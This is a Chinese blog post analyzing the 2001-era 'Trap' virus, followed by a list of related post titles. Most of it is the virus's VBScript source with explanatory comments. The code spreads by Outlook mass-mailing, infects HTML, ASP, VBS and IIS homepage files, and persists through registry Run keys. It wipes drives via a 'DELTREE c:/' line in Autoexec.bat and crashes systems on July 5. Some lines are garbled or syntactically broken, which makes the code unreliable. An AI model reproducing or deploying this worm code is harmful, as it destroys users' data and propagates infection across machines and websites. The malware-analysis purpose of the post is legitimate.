7月初在我国出现了一种名叫“陷阱”(Trap)的新型恶性病毒,并在7月5日全面爆发,目前国内已有不少的网站和用户遭受“陷阱”的袭击,造成网络系统瘫痪、文件丟失现象严重。该病毒是一种网络脚本语言病毒,并是同时使用了VBScript 和 JavaScript 两种脚本语言编写的,通过OutLook电子邮件传播(不打开邮件也能被感染)、感染文件传播,传播能力较强,并能直接攻击Microsoft IIS 服务器 主页文件,造成网站感染,被病毒感染的网站如有用户来访问时,同时被感染。从病毒的攻击对象来看,“陷阱”很可能是“国产”病毒,但据了解该病毒其实在6月份就首先在韩国出现。

本人非常不幸也遭遇“陷阱”的袭击,造成7月5日计算机蓝屏,于是我研究了“陷阱”的源代码,经过一番努力终于揭清了代码原理,下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 JavaScript 编码技术),使得普通用户无法看到病毒原码,但在被感染 VBS 文件中并没有加密,于是作为一个入口点,我非常轻松地得到所有源码。

'@ thank you! make use of other person to get rid of an enemy, trap _2001

'这句话的意思可能是“借刀杀人”,然后是病毒名称“陷阱”

on error resume next

dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str

dim defpath, smailc, MAX_SIZE

dim whb(), title(10)

smailc = 4

Redim whb(smailc) ’白宫相关人员邮件名单

whb(0) = "president@whitehouse.gov"

whb(1) = "vice.president@whitehouse.gov "

whb(2) = "first.lady@whitehouse.gov"

whb(3) = "mrs.cheney@whitehouse.gov"

'发送邮件的主題

title(0) = "Thanks for helping me!"

title(1) = "The police are investigating the robbery"

title(2) = "an application for a job "

title(3) = "The aspects of an application process pertinent to OSI"

title(4) = "What a pleasant weather. Why not go out for a walk?"

title(5) = "These countries have gone / been through too many wars"

title(6) = "We've fixed on the 17th of April for the wedding"

title(7) = "The wind failed and the sea returned to calmness."

title(8) = "the sitting is open!"

title(9) = ""

defpath = "C:/Readme.html" ' 病毒文件

MAX_SIZE = 100000 ' 定义传染文件的最大尺寸

MSWKEY = "HKEY_LOCAL_MACHINE/SoftWare/Microsoft/Windows/"

HCUW = "HKEY_CURRENT_USER/Software/Microsoft/WAB/"

main

sub main() '主程序

on error resume next

dim w_s

w_s= WScript.ScriptFullName '得到病毒文件本身的路径

if w_s = "" then

Err.Clear

set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象

if getErr then '辨认病毒状态

Randomize '初始化隨机种子

ra = int(rnd() * 7) '产生隨机数

doucment.write title(ra) ' 写隨机内容

ExecuteMail '执行邮件状态时的程序

else

ExecutePage '执行 WEB 页状态时的程序

end if

else

ExecuteVbs '执行 VBS 文件状态时的程序

end if

end sub

Function getErr() 忽略错误

if Err.number<>0 then

getErr=true

Err.Clear

else

getErr=false

end if

end function

sub ExecutePage() 'WEB 页状态时的程序

on error resume next

dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf

Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码

Js_Str = GetJavaScript() ' 得到 Javascript 代码

Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码

Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码

Gf

'定义病毒文件的路径

wdsf = w2 & "Mdm.vbs"

wdsf2 = w1 & "Profile.vbs"

wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人

wdf2 = w2 & "Readme.html"

wdf3 = w2 & "system.dll"

'创建病毒文件

set vf = fso.OpenTextFile (wdf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf2, 2, true)

vf.Write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdf2, 2, true)

vf.write Html_Str

vf.close

set vf = fso.OpenTextFile (wdf3, 2, true)

vf.write Code_Str

vf.close

修改注册表,让病毒文件在每一次计算机启动自动执行

Writereg MSWKEY & "CurrentVersion/Run/Mdm", wdsf, ""

Writereg MSWKEY & "CurrentVersion/RunServices/Profile", wdsf2, ""

SendMail ' 执行发送邮件程序

Hackpage ' 执行感染网站程序

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘

call SearchHTML(x & "/") '执行文件感染程序

end if

next

if TestUser then '检查用戶

Killhe 执行删除文件操作

else

if Month(Date) & Day(Date) = "75" then '如系统时间为 7月5日

set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) ’创建系统攻击文件

vf.write MakeScript ("window.navigate ('c:/con/con');", false)

vf.close

Writereg MSWKEY & "CurrentVersion/Run/75", w2 & "75.htm", "" '自动启动

window.navigate "c:/con/con" '立刻蓝屏,利用 Windows BUG,能引起 Win9X 系统100%死机(即无法恢复的蓝屏)

else '如不是7.5

if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 删除75.htm

end if

end if

if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:/Readme.html 病毒文件

end sub

sub ExecuteMail() '邮件状态时执行的程序

on error resume next

Vbs_Str = GetScriptCode("vbscript")

Js_Str = GetJavaScript()

Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象

with Stl

.Reset

.Path = defpath

.Doc = MakeHtml(encrypt(Vbs_str), true)

.Write() '创建 C:/Readme.html 文件

end with

window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口

end sub

sub ExecuteVbs() ' 同理,如病毒文件是 VBS 时所执行的程序

on error resume next

dim x, adi, wvbs, ws, vf

set fso = CreateObject("Scripting.FileSystemObject")

set wvbs = CreateObject("WScript.Shell")

Gf

wvbs.RegWrite MSWKEY & "Windows Scripting Host/Setings/Timeout", 0, "REG_DWORD"

set vf = fso.OpenTextFile (w2 & "system.dll", 1)

Code_Str = vf.ReadAll()

vf.close

Hackpage

SendMail

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then

call SearchHTML(x & "/")

end if

next

if TestUser then Killhe

end sub

sub Gf() '得到系统路径

w1=fso.GetSpecialFolder(0) & "/"

w2=fso.GetSpecialFolder(1) & "/"

end sub

function Readreg(key_str) '读注册表

set tmps = CreateObject("WScript.Shell")

Readreg = tmps.RegRead(key_str)

set tmps = Nothing

end function

function Writereg(key_str, Newvalue, vtype) '写注册表

set tmps = CreateObject("WScript.Shell")

if vtype="" then

tmps.RegWrite key_str, Newvalue

else

tmps.RegWrite key_str, Newvalue, vtype

end if

set tmps = Nothing

end function

function MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码

dim ra

Randomize

ra = int(rnd() * 7)

MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _

"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _

"<" & "/BOAD><" & "/HTML>"

end Function

function MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂,不再描述

if iHTML then

dim DocuWrite

DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>/n'+" & _

"jword" & "+'/n</'" & "+'SCRIPT>');"

DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>/n'+" & _

"nword" & "+'/n</'" & "+'SCRIPT>');"

MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _

chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _

chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _

"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"

else

MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"

end if

end function

function GetScriptCode(Languages) ' 得到不同脚本语言的代码

dim soj

for each soj in document.scripts

if LCase(soj.Language) = Languages then

if Languages = "javascript" then

if len(soj.Text)> 200 then

else

GetScriptCode = soj.Text

exit function

end if

else

GetScriptCode = soj.Text

exit function

end if

end if

next

end function

function GetJavaScript()

GetJavaScript = GetScriptCode("javascript")

end function

function TestUser() '检测用户过程

on error resume next

dim keys(6), i, tmpStr, Wnet

'特定用户关键词

keys(0) = "white home"

keys(1) = "central intelligence agency"

keys(2) = "bush"

keys(3) = "american stock exchang"

keys(4) = "chief executive"

keys(5) = "usa"

TestUser = false

Set Wnet = CreateObject("WScript.Network") '创建网络对象

'下面一共3个循环,作用一样,是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语,一旦含有程序将返回”真”的条件,从而对这些用户的文件进行疯狂删除。

tmpStr = LCase(Wnet.UserName) '

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.ComputerName)

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.UserDomain)

for i=0 to 4

if InStr(tmpStr, keys(i)) >0 then

TestUser=true

exit function

end if

next

Set Wnet = Nothing

end function

function SendMail() '发送文件过程

on error resume next

dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at

'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件

主題是隨机的,此过程与“欢乐时光“类似,所以不再描述
Randomize

at=fso.GetSpecialFolder(1) & "/Readme.html"

set Oa = CreateObject("Outlook.Application")

set wab = Oa.GetNameSpace("MAPI")

for j = 1 to wab.AddressLists.Count

eins = wab.AddressLists(j)

wreg=Readreg (HCUW & eins)

if (wreg="") then wreg = 1

Eaec = eins.AddressEntries.Count

if (Eaec > Int(wreg)) then

for x = 1 to Eaec

arrsm = wab.AddressEntries(x)

areg = Readreg(HCUW & arrsm)

if (areg = "") then

set fm = wab.CreateItem(0)

with fm

ra = int(rnd() * 7)

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Attachments at

.Send

Writereg HCUW & arrsm, 1, "REG_DWORD"

end with

end if

next

end if

Writereg HCUW & eins, Eaec, ""

next

'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。

for j = 1 to smailc

arrsm = whb(j)

set fm = wab.CreateItem(0)

ra = int(rnd() * 7)

with fm

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Send

end with

next

set Oa = Nothing

window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送

end function

sub SearchHTML(Path) '搜索可传染文件的过程

on error resume next

dim pfo, psfo, pf, ps, pfi, ext

if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub

if Path <> "E:/" then exit sub

set pfo = fso.GetFolder(Path)

set psfo = pfo.SubFolders

for each ps in psfo

SearchHTML(ps.Path)

set pf = ps.Files

for each pfi in pf

ext = LCase(fso.GetExtensionName(pfi.Path))

if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染,如未被感染则将已加密的病毒代码插入文件头,这样文件一旦执行也会执行病毒代码,而且不会影响原文件的正常执行。

if Code_Str<>"" then AddHead pfi.Path, pfi, 1

elseif ext= "vbs" then '如是 vbs 文件,则插入未加密的病毒代码

AddHead pfi.Path,pfi, 2

end if

next

next

end sub

sub Killhe() '全盘删除文件过程

on error resume next

dim codeText, ko,adi, kd, kh, ks,kf,kfs

codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_

"DELTREE c:/" '将删除C盘的命令插入Autoexec.bat 中,下次开机时,删除整个硬盘,并沒有任何提示

set ko = fso.OpenTextFile("C:/Autoexec.bat", 8, true)

ko.Write vbcrlf & codeText

ko.Close

'接着立刻删除其它盘的所有文件

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 then

set kd = fso.GetFolder(x & "/")

set kfs = kd.Files

for each kf in kfs

kf.Delete

next

set ks = kd.SubFolders

for each kh in ks

kh.Delete

next

end if

next

do while 1 '让系统立刻死机

window.open ""

loop

end sub

sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程

dim fi

H = "C:/InetPut/wwwroot"

if fso.FolderExists(H) then

'判断是否为网站,如是则将已加密的带病毒代码插入文件头,从而直接传染浏览该网站的用户

set fi = fso.GetFile(H & "/index.htm")

AddHead H & "/index.htm",fi,1

end if

end sub

sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程

on error resume next

dim tso, buffer,sr

if f.size > MAX_SIZE then exit sub '传染大小小于100K的文件

set tso = fso.OpenTextFile(Path, 1, true)

buffer = tso.ReadAll()

tso.close

if (t = 1) then

if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then

set tso = fso.OpenTextFile(Path, 2, true)

tso.Write Code_Str & vbcrlf & buffer '插入到文件头

tso.close

end if

else

if mid(buffer, 3, 2) <> "'@" then

tso.close

sr=w2 & "user.dll"

if fso.FileExists(sr) then fso.CopyFile sr, Path

end if

end if

end sub

 虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。

“陷阱”病毒源代码大揭密相关推荐

  1. 《淘宝网开店 进货 运营 管理 客服 实战200招》——2.5 网上开店货源大揭密...

    本节书摘来自异步社区<淘宝网开店 进货 运营 管理 客服 实战200招>一书中的第2章,第2.5节,作者:葛存山著,更多章节内容可以访问云栖社区"异步社区"公众号查看 ...

  2. 病毒c语言代码大全,谁有C语言编写的病毒源代码?

    一个c病毒源代码 #include #include #include #include #include #pragma comment(lib,'shlwapi.lib') #define TIM ...

  3. 【转】右键菜单大揭密

    在Windows系统中,只要对着桌面或是文件(夹)单击右键,就会弹出一个快捷菜单,里面有对该文件(夹)的一些常用×作命令,通过右键菜单,可以方便用户对文件的某些×作.不知道你是否对它感兴趣?是否想对它 ...

  4. 农分期 java_农分期现行业务大揭密,8项业务为农户提供全方向服务

    原标题:农分期现行业务大揭密,8项业务为农户提供全方向服务 "农分期,怎么办?"兄弟,农分期业务太多了,你问我怎么办,我该怎么回答你呢? 所以今天我得帮大家把农分期能替你解决的问题 ...

  5. 常见电源品牌大揭密(转贴自pceva,作者royalk)

    常见电源品牌大揭密(转贴自pceva,作者royalk) 介绍电源品牌代工厂之前,必须介绍一下电源分类: 标准电源 标准电源就是电脑城装机用得最多的电源,性能正常,外观一般,原生接线,也没有什么风扇停 ...

  6. AnnaKournikova病毒源代码解析

    AnnaKournikova病毒源代码解析 AnnaKournikova病毒源代码解析 本帖版权归原作者,其它网站转载须注明出处,传统媒体转载须事先与原作者和e龙西祠胡同[http://www.xic ...

  7. 微软IE7更多细节大揭密(转)

    微软IE7更多细节大揭密(转)          微软上周五(9月2日)进行了Visat/IE 7.0测试者集体网上交流,并公布了更多IE 7.0未来发展和设想. 上周五是微软Beta测试人员和雇员非 ...

  8. 央视3-15曝光第一案:“短信车”大揭密

    ["短信车"大揭密:方圆五公里屏蔽所有手机信号 强推垃圾短信] 今年315曝光的第一个案件是一种叫垃圾短信车的产品.相信很多观众有过这样的经历,手机上经常接到一些商业信息短信,比如 ...

  9. 破解和盗版组织大揭密

    破解和盗版组织大揭密 前言:这篇文章摘自[CCG](China Gracking Group)的自我介绍<人生如解 -- 关于破解组织的乱弹>(www.pediy.com)和<WAR ...

最新文章

  1. 牛顿迭代法的可视化详解
  2. [case39]聊聊jdk httpclient的executor
  3. 如何反转 Python 中的字符串
  4. struts2.0简单页面 (不带拦截器和带拦截器案例)
  5. 备战520|Python花式表白的几种姿势
  6. 大数据_Flink_数据处理_流式数据源测试---Flink工作笔记0010
  7. java 连接oracle_「事件驱动架构」使用GoldenGate创建从Oracle到Kafka的CDC事件流
  8. 「leetcode」538.把二叉搜索树转换为累加树【递归】【迭代】详解
  9. linux中级之keepalived概念
  10. 尚学堂马士兵java多线程部分笔记
  11. SVN图标不显示解决方案
  12. [已解决]消除Flutter Sliver之间存在的间隙
  13. mac终端Login Incorrect问题
  14. Sun开发的JINI技术在网络中的应用
  15. 【matplotlib】绘制简单二维、三维图像
  16. 2020中南大学研究生招生夏令营机试题
  17. 微派微营销智能服务平台:微信营销最佳搭档
  18. pyautogui微信小程序自动化操作
  19. 【史上最骚爬虫|疯狂爬取中国大学mooc】太燃了,爬虫vs慕课反爬世纪大战|No.1
  20. c++ 45行代码实现 生命游戏-细胞自动机!!!

热门文章

  1. stotybord如何添加子视图_bim教程:Revit如何制作管道三维系统图
  2. 密码学--文件安全传输
  3. 题解:::Contest1001 - 河南工程学院2022级新生周赛(一)
  4. a律13折线pcm编码例题_13折线典型例题 -
  5. 挑战月薪20K!零基础学IT的明智选择...
  6. 【Java】设计银行账户类。包括帐号、姓名、开户时间、余额,成员方法包括存款、取款、查询余额,计算利息等。对所设计的类进行测试。
  7. 微处理器组成的微型计算机属于,以微处理器为核心组成的微型计算机属于哪一种计算机...
  8. tomcat资源请求慢_Tomcat网页加载速度过慢的解决方法
  9. 猿创征文|基于物联网的门禁与考勤系统_阿里云_2022
  10. 2014年第一期ThoughtWorks技术雷达发布